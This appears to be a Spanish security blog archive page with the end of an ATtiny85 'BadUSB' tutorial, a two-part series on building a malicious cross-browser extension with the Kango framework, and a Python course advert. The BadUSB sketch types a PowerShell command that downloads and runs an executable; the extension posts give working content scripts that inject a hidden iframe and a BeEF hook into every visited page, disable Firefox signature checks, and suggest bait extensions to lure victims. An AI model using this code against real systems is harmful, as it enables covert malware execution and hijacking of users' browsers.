  • delay(250) : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, NOTA: Sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

Haciendo maldades

Una vez hemos hecho el “Hola mundo” y utilizando el mismo esquema, podemos hacer muchas otras tareas de forma automática, y no todas “buenas” (de ahí el nombre de BadUSB), por ejemplo el siguiente código descarga mediante Powershell un archivo desde una URL y lo ejecuta:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  pinMode(1, OUTPUT);
  DigiKeyboard.delay(10000);
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.print(F("powershell "));
  DigiKeyboard.print(F("powershell Import-Module BitsTransfer;"));
  DigiKeyboard.print(F("Start-BitsTransfer -Source \"http://ruta/fichero.exe\" -Destination \"%TEMP%\\fichero.exe\";"));
  DigiKeyboard.println(F("Start-Process \"%TEMP%\\fichero.exe\""));
  
  while(1){
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
  }
}

Se puede observar que al final se ha incluido el código necesario para que el led parpadee y sepamos que la tarea se ha completado.

A partir de aquí el límite es la imaginación de cada uno, como ejemplo el payload que mencionan Álvaro Nuñez-Romero y Santiago Hernández en su artículo para el blog “un informático en el lado del mal” titulado Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino

También mencionar a KALRONG en su artículo ATtiny85 el famoso Cheap Rubber Ducky, podemos encontrar aquí un conversor de scripts de USB Rubber Ducky al Attiny85, aunque nosotros pensamos que es mejor opción escribirlos enteros de forma nativa por optimización y depuración de los mismos.

Un saludo y hasta la próxima (o próximas)!

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.

abril 12, 2017 Deja un comentario

Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí,  y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.

Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.

Cargar el Hook de BeEF en un Background Script

En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”

"background_scripts": [ 
        "main.js",
        "hook.js"
    ]

Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….

La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.

Cargar el Hook de BeEF en un Content Script

Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:

// ==UserScript== 
// @name THW Frame 
// @include http://*
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame =$(document.createElement('script')).attr({ 
    src:'http://127.0.0.1:3000/hook.js', 
    type:'text/javascript' 
}).appendTo(document.body);

Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.

Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.

Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:

python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…

Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.

A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.

Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.

Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).

 

En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.

Un saludo y Happy Hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 1.

abril 10, 2017 1 comentario

Uno de los grandes inconvenientes de los ataques del tipo “client-side” es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en “engañar” a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de “víctimas” potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:

– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.

– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.

– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).

– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.

– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)

Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas “maliciosas” debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.

¿Qué es Kangoo y cómo funciona?

Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque “client-site”, aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.

En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.

En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:

1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html

2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.

2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar “la máquina del tiempo”: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.

3. Dentro del directorio de Kangoo se encuentra el script “kango.py” el cual permite la creación y gestión de proyectos.

4. Crear el proyecto con el siguiente comando:

python kango.py create “THWExtension”

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

Input project name: THWExtension

[ INFO] Creating project…

[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension

5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.

En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de “src”:

“chrome”, “common”, “firefox”, “ie”, “safari”.

Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes “cross browser” que pueden funcionar en los navegadores soportados por el framework.

En el directorio “src/common“existen dos ficheros llamados “main.js” y “extension_info.js“, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de “content_scripts” y “background_scripts“, así como detalles visuales de la extensión como el icono.

En el fichero “main.js” de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones “core” de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.

Aunque la configuración por defecto solamente crea un “background script” definido en el fichero “main.js“, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear “background scripts” para las operaciones core de la extensión y “content scripts” para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los “content scripts” no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉

Primera extensión (muy, pero que muy básica) utilizando Kangoo.

Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.

{ 
    "content_scripts": [“content.js”], 
    "description": "THW Labs extension", 
    "creator": "Adastra", 
    "background_scripts": [ 
        "main.js" 
    ], 
    "homepage_url": "https://thehackerway.com/",
    "version": "0.1", 
    "browser_button": { 
        "caption": "THW Extension", 
        "icon": "icons/thw.png", 
        "tooltipText": "Make THW Blog great again"
    }, 
    "name": "THWExtension" 
} 

Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.

Background script

Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html

Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:

function THWExtension() { 
    var self = this; 
  kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() { 
        self.loadPage(); 
    }); 
} 
THWExtension.prototype = { 
    loadPage: function() { 
        kango.browser.tabs.create({url:'https://thehackerway.com/'}); 
    } 
}; 
var extension = new THWExtension(); 

Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.

Content script

Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:

// ==UserScript== 
// @name THW Frame 
// @include http://* 
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame = $(document.createElement('iframe')).attr({ 
    src: 'https://thehackerway.com', 
    width: 0 
}).appendTo(document.body); 

El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.

Construcción y despliegue.

Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).

python kango.py build THWExtension

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

[ INFO] Building chrome extension…

[ INFO] Building firefox extension…

[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:

1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.

2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:

IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’

3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.

4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador “about:config” y cambiar el valor de la propiedad “xpinstall.signatures.required” a false.

Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.

 

De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.

Un saludo y Happy Hack!
Adastra.

Junio, mes de cursos de Python en Securizame.

mayo 19, 2016 Deja un comentario

logo_securizame

Llega junio con una propuesta formativa muy interesante por parte de Securizame, en donde tendré el placer y el honor de colaborar con la serie de cursos enfocados completamente a Python. Como podréis apreciar en la web de Securizame, se trata de una oferta formativa bastante completa en la que tendréis la posibilidad de conocer en profundidad las características más interesantes del lenguaje con el acompañamiento de profesionales de primer nivel, entre los que se encuentran Dani Garcia (Cr0hn), Maria José Montes, Julio Semper y un servidor. Podéis adquirir los módulos en formato individual o el curso completo, algo que recomiendo si de verdad queréis aprender a crear herramientas de todo tipo con Python. Algunos de los módulos son online, pero como podréis comprobar, algunos son presenciales incluyendo el que voy a impartir, aunque se está barajando la posibilidad de hacerlos también online para las personas que por cualquier motivo no podéis acercaros a las oficinas de Securizame en Madrid. Evidentemente, los cursos presenciales tienen la ventaja de que podéis hacer todas las preguntas que queráis y resolverlas “in-situ” y por si fuera poco, son cursos que se van a impartir los viernes en la tarde y los sábados, lo que facilita enormemente las cosas para aquellas personas que por trabajo u otras obligaciones no tienen la posibilidad de asistir entre semana. Las instalaciones se encuentran muy bien equipadas y con todo lo necesario para desarrollar cada uno de las clases que haremos los profesores, cuyos contenidos hemos diseñado con mucho cariño e ilusión, esperando que de verdad os sean útiles para vuestras vidas profesionales y/o académicas.
Creo que es una buena oportunidad para dominar el lenguaje y automatizar muchas de las labores que seguramente hacéis manualmente y que pueden suponer varias horas del día haciéndolas.
Finalmente, para animaros un poco y dependiendo del número de asistentes que decidáis apuntaros al curso completo, llevaré algunas copias de los dos libros de Python que he escrito para rifarlas entre vosotros, algo que os vendrá como anillo al dedo para apoyar vuestra formación en dicho lenguaje.

Espero veros por allí y si necesitáis más información al respecto, podéis rellenar el formulario que se encuentra disponible aquí o llamar directamente al teléfono que aparece en la página.

Un saludo y Happy Hack!
Adastra.

A %d blogueros les gusta esto: